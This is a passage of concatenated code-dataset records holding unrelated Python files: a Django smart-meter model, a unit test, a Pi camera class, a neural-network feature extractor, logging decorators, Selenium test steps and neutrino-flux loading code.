_('DSMR readings (read only)')\n\n def __str__(self):\n return '{}: {} kWh'.format(self.id, self.timestamp, self.electricity_currently_delivered)\n\n\nclass MeterStatistics(SingletonModel):\n \"\"\" Meter statistics, but only exists as a single record, containing the latest data. \"\"\"\n timestamp = models.DateTimeField(\n help_text=_(\"Timestamp indicating when the reading was taken, according to the meter\"),\n auto_now=True\n )\n electricity_tariff = models.IntegerField(\n help_text=_(\n \"Tariff indicator electricity. The tariff indicator can be used to switch tariff \"\n \"dependent loads e.g boilers. This is responsibility of the P1 user. Note: Tariff \"\n \"code 1 is used for low tariff and tariff code 2 is used for normal tariff.\"\n ),\n null=True,\n default=None\n )\n power_failure_count = models.IntegerField(\n help_text=_(\"Number of power failures in any phases\"),\n null=True,\n default=None\n )\n long_power_failure_count = models.IntegerField(\n help_text=_(\"Number of long power failures in any phase\"),\n null=True,\n default=None\n )\n voltage_sag_count_l1 = models.IntegerField(\n help_text=_(\"Number of voltage sags/dips in phase L1\"),\n null=True,\n default=None\n )\n voltage_sag_count_l2 = models.IntegerField(\n help_text=_(\"Number of voltage sags/dips in phase L2 (polyphase meters only)\"),\n null=True,\n default=None\n )\n voltage_sag_count_l3 = models.IntegerField(\n help_text=_(\"Number of voltage sags/dips in phase L3 (polyphase meters only)\"),\n null=True,\n default=None\n )\n voltage_swell_count_l1 = models.IntegerField(\n help_text=_(\"Number of voltage swells in phase L1\"),\n null=True,\n default=None\n )\n voltage_swell_count_l2 = models.IntegerField(\n help_text=_(\"Number of voltage swells in phase L2 (polyphase meters only)\"),\n null=True,\n default=None\n )\n voltage_swell_count_l3 = models.IntegerField(\n help_text=_(\"Number of voltage swells in phase L3 (polyphase meters only)\"),\n null=True,\n default=None\n )\n rejected_telegrams = models.IntegerField(\n help_text=_(\"Number of rejected telegrams due to invalid CRC checksum\"),\n default=0\n )\n\n class Meta:\n default_permissions = tuple()\n verbose_name = _('DSMR Meter statistics (read only)')\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return '{} @ {}'.format(self.__class__.__name__, self.timestamp)\n", "sub_path": "dsmr_datalogger/models/reading.py", "file_name": "reading.py", "file_ext": "py", "file_size_in_byte": 5828, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.db.models.Manager", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 48, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 48, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 58, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 60, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 60, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 67, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 72, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 77, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 86, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 89, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 95, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 96, "usage_type": "call"}, {"api_name": "solo.models.SingletonModel", "line_number": 102, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 104, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 104, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 105, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 108, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 117, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 117, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 118, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 122, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 122, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 123, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 127, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 127, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 128, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 132, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 132, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 133, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 137, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 138, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 142, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 142, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 143, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 147, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 147, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 148, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 152, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 152, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 153, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 157, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 157, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 158, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 164, "usage_type": "call"}]} {"seq_id": "134412220", "text": "from unittest import TestCase\nfrom public.script import analyze\n\n\nclass PublicTestSuite(TestCase):\n\n def test_1(self):\n actual = analyze([\"hi #weekend\",\n \"good morning #zurich #limmat\",\n \"spend my #weekend in #zurich\",\n \"#zurich <3\"])\n expected = {'weekend': 2, 'zurich': 3, 'limmat': 1}\n self.assertEqual(expected, actual)\n\n # This test suite does not exhaustively test the implementation,\n # a passing \"test & run\" does not mean that all possible cases\n # have been considered. For the grading, an extended tests suite\n # will be executed that will cover many more cases.\n\n # Feel free to add additional test cases here. All test cases\n # will be executed as part of the \"test & run\".\n", "sub_path": "assignment_03/exercise_04/public/testsuite.py", "file_name": "testsuite.py", "file_ext": "py", "file_size_in_byte": 804, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "unittest.TestCase", "line_number": 5, "usage_type": "name"}, {"api_name": "public.script.analyze", "line_number": 8, "usage_type": "call"}]} {"seq_id": "26686933", "text": "import picamera\nimport io\nfrom PIL import Image\nfrom time import sleep\n\nclass Camera():\n\tdef __init__(self, img_width, img_height, img_rot=0):\n\t\tself.camera = picamera.PiCamera()\n\t\tself.value = None\n\t\tself.camera.resolution = (img_width,img_height)\n\t\tself.img_width = img_width\n\t\tself.img_height = img_height\n\t\tself.img_rot = img_rot\n\t\tself.stream = io.BytesIO()\n\n\t\n\tdef get_value(self):\n\t\treturn self.value\n\n\tdef update(self): \t\t#Call to a function to update the \n\t\treturn(self.sensor_get_value()) #current picture, aka take a new one\n\t\t\n\n\tdef reset(self):\n\t\tself.value = None\n\n\tdef sensor_get_value(self):\n\t\twith self.camera:\n\t\t\tself.camera.start_preview\n\t\t\t#sleep(2)\n\t\t\tself.camera.brightness = 15\n\t\t\tself.camera.contrast = 100\n\t\t\tself.camera.hflip = True\n\t\t\tself.camera.capture(self.stream,format='jpeg')\n\t\t\t#print(\"Captured a image\")\n\t\tself.stream.seek(0)\n\t\tself.image=Image.open(self.stream)\n\t\tself.image.save(\"image.jpeg\",format = 'jpeg')\n\t\treturn (self.image)\n\n\tdef close(self):\n\t\tself.stream.close()\n\n\tdef preview(self):\n\t\tself.camera.start_preview()\n\t\tsleep(5)\n\t\tself.camera.stop_preview()\n\n#Empty\n", "sub_path": "PU_features/camera1.py", "file_name": "camera1.py", "file_ext": "py", "file_size_in_byte": 1108, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "picamera.PiCamera", "line_number": 8, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 37, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 37, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}]} {"seq_id": "467810399", "text": "import torch\nimport cv2\nimport numpy as np\nfrom .Net import AlexNet\nfrom .dataset import ReadData\n\ndef extract(input=None, if_predict=True, if_train=False, paramPath=None):\n net = AlexNet(if_features=True)\n net.load_state_dict(torch.load(paramPath))\n\n if if_train:\n set = ReadData(imgPath=input)\n setloader = torch.utils.data.DataLoader(set, batch_size=1, shuffle=True, num_workers=1)\n features = []\n labels = []\n\n for step, (input, label) in enumerate(setloader):\n input = torch.tensor(input, dtype=torch.float)\n score = net(input)\n features.append(score.squeeze(0).data.numpy())\n labels.append(label.squeeze(0).data.numpy())\n\n print(\"feature type:{}, label type:{}\".format(type(features), type(labels)))\n print(\"feature shape:{}, label shape:{}\".format(np.shape(features), np.shape(labels)))\n return features, labels\n\n if if_predict:\n input = torch.tensor(input, dtype=torch.float).reshape(1, 1, 227, 227)\n print(\"input type:\", type(input))\n feature = net(input)\n\n return feature\n\n", "sub_path": "code/featureExtract/extractFeature.py", "file_name": "extractFeature.py", "file_ext": "py", "file_size_in_byte": 1123, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "Net.AlexNet", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 9, "usage_type": "call"}, {"api_name": "dataset.ReadData", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 28, "usage_type": "attribute"}]} {"seq_id": "267139347", "text": "import logging\nimport os\nimport types\nimport time\n\n# To test with doctest...\nif not __package__: # pragma: no cover\n LIB_PATH = \".\"\nelse:\n from .. import LIB_PATH\n\n\n# Global configuration\nLOGGING_FORMAT = '[%(levelname)s][%(name)s][%(asctime)s] %(message)s'\nLOGGING_DIRECTORY = LIB_PATH + \"/log/\"\nLOGGING_FILE = LOGGING_DIRECTORY + \"log.txt\"\n\nTIME_LOGGING_FORMAT = \"Spent time in method %(name)s: %(time).2fs\"\n\n# Set some logging stuff\nlogging.basicConfig(level=logging.WARNING,\n format=LOGGING_FORMAT)\ntry:\n os.mkdir(LOGGING_DIRECTORY)\nexcept OSError as e:\n pass\n\n# Global variable to track the name of loggers already configured\n_logged_classes = set()\n\n\ndef _create_logger(logger_name, logfile, level=logging.INFO):\n logger = logging.getLogger(logger_name)\n logger.setLevel(level)\n\n if logger_name not in _logged_classes:\n file_handler = logging.FileHandler(filename=LOGGING_FILE)\n file_handler.setFormatter(\n logging.Formatter(LOGGING_FORMAT))\n logger.addHandler(file_handler)\n if logfile is not None:\n file_handler = logging.FileHandler(filename=LOGGING_DIRECTORY + logfile)\n file_handler.setFormatter(\n logging.Formatter(LOGGING_FORMAT))\n logger.addHandler(file_handler)\n _logged_classes.add(logger_name)\n\n return logger\n\n\ndef _add_logger_to_class(cls, logfile=None):\n old_init = cls.__init__\n\n def new_init(self, *args, **kwargs):\n # Logging initialization\n log_level = kwargs.pop(\"log_level\", logging.INFO)\n\n self.logger = _create_logger(cls.__name__, logfile, log_level)\n\n # Normal init\n old_init(self, *args, **kwargs)\n\n cls.__init__ = new_init\n return cls\n\n\ndef _add_logger_to_function(function, logfile=None):\n logger = _create_logger(function.__name__, logfile)\n\n def wrapper(*args, **kwargs):\n kwargs[\"logger\"] = logger\n return function(*args, **kwargs)\n return wrapper\n\n\ndef add_logger(anything, logfile=None):\n \"\"\"\n Adds a logger to a class or a function.\n The logged content is appended to a file named `LOGGING_FILE`.\n\n To decorate a class, use it as an attribute:\n\n >>> @add_logger\n ... class Test:\n ... def test(self, a):\n ... self.logger.info(a)\n >>> Test().test(1)\n\n To decorate a function, add an argument named logger.\n >>> @add_logger\n ... def some_fun(arg1, arg2=1, logger=None):\n ... logger.info(arg1 + arg2)\n >>> some_fun(1, 2)\n\n To use the additional parameter `logfile`, see @`add_logger_file`\n \"\"\"\n if isinstance(anything, type):\n return _add_logger_to_class(anything, logfile)\n if isinstance(anything, types.FunctionType):\n return _add_logger_to_function(anything, logfile)\n raise NotImplementedError(\"No logger can be added to type %s\" % type(anything))\n\n\ndef add_logger_file(logfile):\n \"\"\"\n Adds a logger to a class or a function, appending the content to a file named `logfile`.\n See @add_logger for additionnal behaviour.\n \"\"\"\n def _decorator(cls):\n return add_logger(cls, logfile)\n return _decorator\n\n\ndef add_timer(method_or_fun, msg=None):\n \"\"\"\n Time the decorated function.\n\n Without an accessible logger, it uses print to display the time spent in the function.\n >>> @add_timer\n ... def some_fun():\n ... pass\n >>> some_fun()\n Spent time in method some_fun: 0.00s\n\n Else it combines with @add_logger to dump the time through a logger.\n\n You can specify a custom log message by using @`add_timer_msg`.\n \"\"\"\n if msg is None:\n msg = TIME_LOGGING_FORMAT\n\n def wrapper(*args, **kwargs):\n if isinstance(method_or_fun, types.FunctionType):\n # Case of a function with a logger attribute (injected by add_logger)\n logging_func = kwargs.get(\"logger\", None)\n # Case of a method call where the first argument is `self`, and `self` contains a logger attribute\n if logging_func is None and len(args) > 1:\n logging_func = getattr(args[0], \"logger\", None)\n\n if logging_func is None or not hasattr(logging_func, \"info\"):\n logging_func = print\n else:\n logging_func = logging_func.info\n\n start_time = time.time()\n ret = method_or_fun(*args, **kwargs)\n logging_func(msg % {\"name\": method_or_fun.__name__, \"time\": (time.time() - start_time)})\n\n return ret\n\n return wrapper\n\n\ndef add_timer_msg(msg):\n \"\"\"\n Adds a timer with a custom message\n See @`add_timer` for additionnal behaviour.\n \"\"\"\n def _decorator(method_or_fun):\n return add_timer(method_or_fun, msg)\n return _decorator\n", "sub_path": "plugins/companies_plugin/companies_plugin/utils/logging_utils.py", "file_name": "logging_utils.py", "file_ext": "py", "file_size_in_byte": 4726, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.basicConfig", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 56, "usage_type": "attribute"}, {"api_name": "types.FunctionType", "line_number": 99, "usage_type": "attribute"}, {"api_name": "types.FunctionType", "line_number": 133, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "time.time", "line_number": 147, "usage_type": "call"}]} {"seq_id": "652951393", "text": "# -*- coding: utf-8 -*-\nfrom lettuce import *\nfrom lettuce_webdriver.util import AssertContextManager\nfrom datetime import datetime\nfrom selenium import webdriver\n\n@before.all\ndef setup_browser():\n world.browser = webdriver.Firefox()\n\n@after.all\ndef close_browser(total):\n '''world.browser.quit()'''\n\ndef find_field_by_class(browser, attribute):\n xpath = \"//input[@class='%s']\" % attribute\n elems = browser.find_elements_by_xpath(xpath)\n return elems[0] if elems else False\n\n@step('I go to \"([^\"]*)\"')\ndef given_i_go_to_url(step, url):\n world.response = world.browser.get(url)\n\n@step('I type in textfield id \"([^\"]*)\" with \"([^\"]*)\"')\ndef when_i_type_in_textfield_id_group1_with_group2(step, field_id, value):\n with AssertContextManager(step):\n text_field = world.browser.find_element_by_id(field_id)\n text_field.clear()\n text_field.send_keys(value)\n\n@step('I submit the form')\ndef and_i_submit_the_form(step):\n with AssertContextManager(step):\n form = world.browser.find_element_by_class_name('form-horizontal')\n form.submit()\n\n@step('I see at least \"([^\"]*)\" appoitments with the class \"([^\"]*)\"')\ndef then_i_see_two_appoitments(step, num, element_class):\n with AssertContextManager(step):\n elements = world.browser.find_elements_by_class_name(element_class)\n assert len(elements) > int(num)\n\n@step('I see that the element with class \"(.*?)\" contains \"(.*?)\"')\ndef element_contains(step, element_class, value):\n with AssertContextManager(step):\n element = world.browser.find_element_by_class_name(element_class)\n assert (value in element.text), \"Got %s, %s \" % (element.text, value)\n\n@step('I see the text \"([^\"]*)\"')\ndef then_i_see_the_text(step, title):\n with AssertContextManager(step):\n element = world.browser.find_element_by_tag_name('h2')\n assert title == element.text, \"Got %s \" % element.text\n\n@step('I update the field with id \"([^\"]*)\" with \"([^\"]*)\"')\ndef when_i_update(step, field_id, value):\n with AssertContextManager(step):\n text_field = world.browser.find_element_by_id(field_id)\n text_field.clear()\n text_field.send_keys(value)\n\n@step('I select the appointment with the title \"([^\"]*)\"')\ndef when_i_select_the_appointment_with_the_title(step, title):\n with AssertContextManager(step):\n element = world.browser.find_element_by_link_text(title)\n element.click()\n\n@step('I do click in the button \"([^\"]*)\"')\ndef and_i_do_click_in_button(step, field_class):\n with AssertContextManager(step):\n button = world.browser.find_element_by_class_name(field_class)\n button.click()\n\n@step('I see that the element with the class \"([^\"]*)\" not contains \"([^\"]*)\"')\ndef then_the_element_with_the_class_not_contains(step, element_class, title):\n with AssertContextManager(step):\n elements = world.browser.find_elements_by_class_name(element_class)\n lst = []\n for e in elements:\n lst.append(e.text)\n\n assert title not in lst\n", "sub_path": "tests/features/steps.py", "file_name": "steps.py", "file_ext": "py", "file_size_in_byte": 3036, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.Firefox", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 26, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 33, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 39, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 45, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 51, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 57, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 64, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 70, "usage_type": "call"}, {"api_name": "lettuce_webdriver.util.AssertContextManager", "line_number": 76, "usage_type": "call"}]} {"seq_id": "410371577", "text": "import numpy as np\r\nfrom scipy.interpolate import interp1d\r\nimport os\r\n\r\npath = os.getcwd()\r\n\r\nYEAR_IN_S = 31557600.\r\nGEV_IN_KEV = 1.e6\r\nC_KMSEC = 299792.458\r\n\r\nNUCLEON_MASS = 0.938272 # Nucleon mass in GeV\r\nP_MAGMOM = 2.793 # proton magnetic moment, PDG Live\r\nN_MAGMOM = -1.913 # neutron magnetic moment, PDG Live\r\n\r\nNUCLEAR_MASSES = {\r\n 'Xenon': 122.298654871,\r\n 'Germanium': 67.663731424,\r\n 'Argon': 37.2113263068,\r\n 'Silicon': 26.1614775455,\r\n 'Sodium': 21.4140502327,\r\n 'Iodine': 118.206437626,\r\n 'Fluorine': 17.6969003039,\r\n 'He3': 3.,\r\n 'Helium': 4.,\r\n 'Nitrogen': 14.,\r\n 'Neon': 20.,\r\n } # this is target nucleus mass in GeV: mT[GeV] = 0.9314941 * A[AMU]\r\n\r\nELEMENT_INFO = {\"Xenon\":{128:0.0192,129:0.2644,130:0.0408,131:0.2118,132:0.2689,134:0.1044,136:0.0887,'weight':131.1626},\r\n \"Germanium\":{70:0.2084,72:0.2754,73:0.0773,74:0.3628,76:0.0761,'weight':72.6905},\r\n \"Iodine\":{127:1.,'weight':127.},\r\n \"Sodium\":{23:1.,'weight':23.},\r\n \"Silicon\":{28:0.922,29:0.047,30:0.031,'weight':28.109},\r\n \"Fluorine\":{19:1.,'weight':19.},\r\n \"Argon\":{40:1.,'weight':40.},\r\n \"Helium\":{4:1.,'weight':4.},\r\n \"He3\":{3:1.,'weight':3.},\r\n \"Nitrogen\":{14:1.,'weight':14.},\r\n \"Neon\":{20:1.,'weight':20.},\n}\r\n\r\nb8nu = np.loadtxt(path + '/Nu_Flux/B8NeutrinoFlux.dat')\r\nb8nu_spectrum = interp1d(b8nu[:,0], b8nu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\nb7nul1 = np.loadtxt(path + '/Nu_Flux/B7NeutrinoLine1.dat')\r\nb7nul1_spectrum = interp1d(b7nul1[:,0], b7nul1[:,1], kind='linear', fill_value=0., bounds_error=False)\r\n\r\nb7nul2 = np.loadtxt(path + '/Nu_Flux/B7NeutrinoLine2.dat')\r\nb7nul2_spectrum = interp1d(b7nul2[:,0], b7nul2[:,1], kind='linear', fill_value=0., bounds_error=False)\r\n\r\npepnul1 = np.loadtxt(path + '/Nu_Flux/PEPNeutrinoLine1.dat')\r\npepnul1_spectrum = interp1d(pepnul1[:,0], pepnul1[:,1], kind='linear', fill_value=0., bounds_error=False)\r\n\r\nhepnu = np.loadtxt(path + '/Nu_Flux/HEPNeutrinoFlux.dat')\r\nhepnu_spectrum = interp1d(hepnu[:,0], hepnu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\nppnu = np.loadtxt(path + '/Nu_Flux/PPNeutrinoFlux.dat')\r\nppnu_spectrum = interp1d(ppnu[:,0], ppnu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\no15nu = np.loadtxt(path + '/Nu_Flux/O15NeutrinoFlux.dat')\r\no15nu_spectrum = interp1d(o15nu[:,0], o15nu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\nn13nu = np.loadtxt(path + '/Nu_Flux/N13NeutrinoFlux.dat')\r\nn13nu_spectrum = interp1d(n13nu[:,0], n13nu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\nf17nu = np.loadtxt(path + '/Nu_Flux/F17NeutrinoFlux.dat')\r\nf17nu_spectrum = interp1d(f17nu[:,0], f17nu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\natmnue = np.loadtxt(path + '/Nu_Flux/atmnue_noosc_fluka_flux_norm.dat')\r\natmnue_spectrum = interp1d(atmnue[:,0], atmnue[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\natmnuebar = np.loadtxt(path + '/Nu_Flux/atmnuebar_noosc_fluka_flux_norm.dat')\r\natmnuebar_spectrum = interp1d(atmnuebar[:,0], atmnuebar[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\natmnumu = np.loadtxt(path + '/Nu_Flux/atmnumu_noosc_fluka_flux_norm.dat')\r\natmnumu_spectrum = interp1d(atmnumu[:,0], atmnumu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\natmnumubar = np.loadtxt(path + '/Nu_Flux/atmnumubar_noosc_fluka_flux_norm.dat')\r\natmnumubar_spectrum = interp1d(atmnumubar[:,0], atmnumubar[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\ndsnb3mevnu = np.loadtxt(path + '/Nu_Flux/dsnb_3mev_flux_norm.dat')\r\ndsnb3mevnu_spectrum = interp1d(dsnb3mevnu[:,0], dsnb3mevnu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\ndsnb5mevnu = np.loadtxt(path + '/Nu_Flux/dsnb_5mev_flux_norm.dat')\r\ndsnb5mevnu_spectrum = interp1d(dsnb5mevnu[:,0], dsnb5mevnu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\ndsnb8mevnu = np.loadtxt(path + '/Nu_Flux/dsnb_8mev_flux_norm.dat')\r\ndsnb8mevnu_spectrum = interp1d(dsnb8mevnu[:,0], dsnb8mevnu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\r\n# Reactor Nus\r\n#reactor_nu = np.loadtxt(path + '/Nu_Flux/Reactor_Spectrum.dat')\r\n#reactor_nu_spectrum = interp1d(reactor_nu[:,0], reactor_nu[:,1], kind='cubic', fill_value=0., bounds_error=False)\r\n\ndef reactor_nu_spectrum(E_nu):\n en_use = np.ones_like(E_nu) * 1.8\n en_use = np.max(np.column_stack((en_use, E_nu)), axis=1)\n \n fk = [0.58, 0.07, 0.30, 0.05] # U235, U238, P239, P241\n# fk = [0., 1., 0., 0.]\n# k_list = [[3.217, -3.111, 1.395, -0.3690, 0.04445, -0.002053],\n# [0.4833, 0.1927, -0.1283, -0.006762, 0.002233, -0.0001536],\n# [6.413, -7.432, 3.535, -0.8820, 0.1025, -0.004550],\n# [3.251, -3.204, 1.428, -0.3675, 0.04252, -0.001896]]\n k_list = [[3.217, -3.111, 1.395, -0.3690, 0.04445, -0.002053],\n [0.4833, 0.1927, -0.1283, -0.006762, 0.002233, -0.0001536],\n [6.413, -7.432, 3.535, -0.8820, 0.1025, -0.004550],\n [3.251, -3.204, 1.428, -0.3675, 0.04252, -0.001896]]\n\n spec = np.zeros_like(E_nu)\n \n for i in range(len(k_list)):\n exp_factor = 0.\n for j in range(len(k_list[i])):\n \n exp_factor += k_list[i][j] * en_use ** j\n \n spec += fk[i] * np.exp(exp_factor)\n return spec / 4.52462 # this norm is added by hand such that integral over all energy range gives 1\n\r\n# Geo nus\r\ngeo_u = np.loadtxt(path + '/Nu_Flux/GeoU.dat')\r\ngeo_th = np.loadtxt(path + '/Nu_Flux/GeoTh.dat')\r\ngeo_k = np.loadtxt(path + '/Nu_Flux/GeoK.dat')\r\ngeoU_spectrum = interp1d(geo_u[:,0], geo_u[:,1], kind='linear', fill_value=0., bounds_error=False)\r\ngeoTh_spectrum = interp1d(geo_th[:,0], geo_th[:,1], kind='linear', fill_value=0., bounds_error=False)\r\ngeoK_spectrum = interp1d(geo_k[:,0], geo_k[:,1], kind='linear', fill_value=0., bounds_error=False)\r\n\r\n# Xenon electronic bkg\nxe_elec_KR = np.loadtxt(path + '/Nu_Flux/Xe_elecBk_Kr.dat')\nxe_elec_2nu2beta = np.loadtxt(path + '/Nu_Flux/Xe_elecBkg_2nu2beta.dat')\nxe_elec_RN = np.loadtxt(path + '/Nu_Flux/Xe_elecBkg_Rn.dat')\nxe_elec_Kr_spectrum = interp1d(xe_elec_KR[:,0], xe_elec_KR[:,1], kind='linear', fill_value=0., 